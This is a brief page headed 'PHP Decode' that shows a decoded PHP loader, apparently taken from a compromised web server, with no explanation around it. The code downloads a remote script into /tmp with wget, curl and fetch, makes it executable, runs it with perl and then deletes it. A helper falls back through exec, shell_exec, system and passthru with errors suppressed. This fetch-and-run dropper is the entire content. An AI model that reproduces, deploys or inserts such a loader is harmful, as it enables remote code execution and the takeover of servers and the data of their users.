PHP Decode

?><?
/* -------------- */
$cmdexec="cd /tmp;chmod +x $script;perl $script;rm -rf $script $script.* 2>/dev/null";
/* -------------- */
$cmdwget="cd /tmp;wget -q $url/$script 2>/dev/null";
$cmdcurl="cd /tmp;curl -O -s $url/$script 2>/dev/null";
$cmdfetch="cd /tmp;fetch $url/$script 2>/dev/null";
/* -------------- */
$mycmdwget=ex($cmdwget);
$mycmdcurl=ex($cmdcurl);
$mycmdfetch=ex($cmdfetch);
$mycmdexec=ex($cmdexec);
/* -------------- */
echo $mycmdwget;
echo $mycmdcurl;
echo $mycmdfetch;
echo $mycmdexec;

function ex($cfe){
$res = '';
if (!empty($cfe)){
   if(function_exists('exec')){
   @exec($cfe,$res);
   $res = join("
",$res);
   }
elseif(function_exists('shell_exec')){
   $res = @shell_exec($cfe);
   }
elseif(function_exists('system')){
   @ob_start();
   @system($cfe);
   $res = @ob_get_contents();
   @ob_end_clean();
   }
elseif(function_exists('passthru')){
   @ob_start();
   @passthru($cfe);
   $res = @ob_get_contents();
   @ob_end_clean();
   }
 }
 return $res;
}
exit;
?>
<?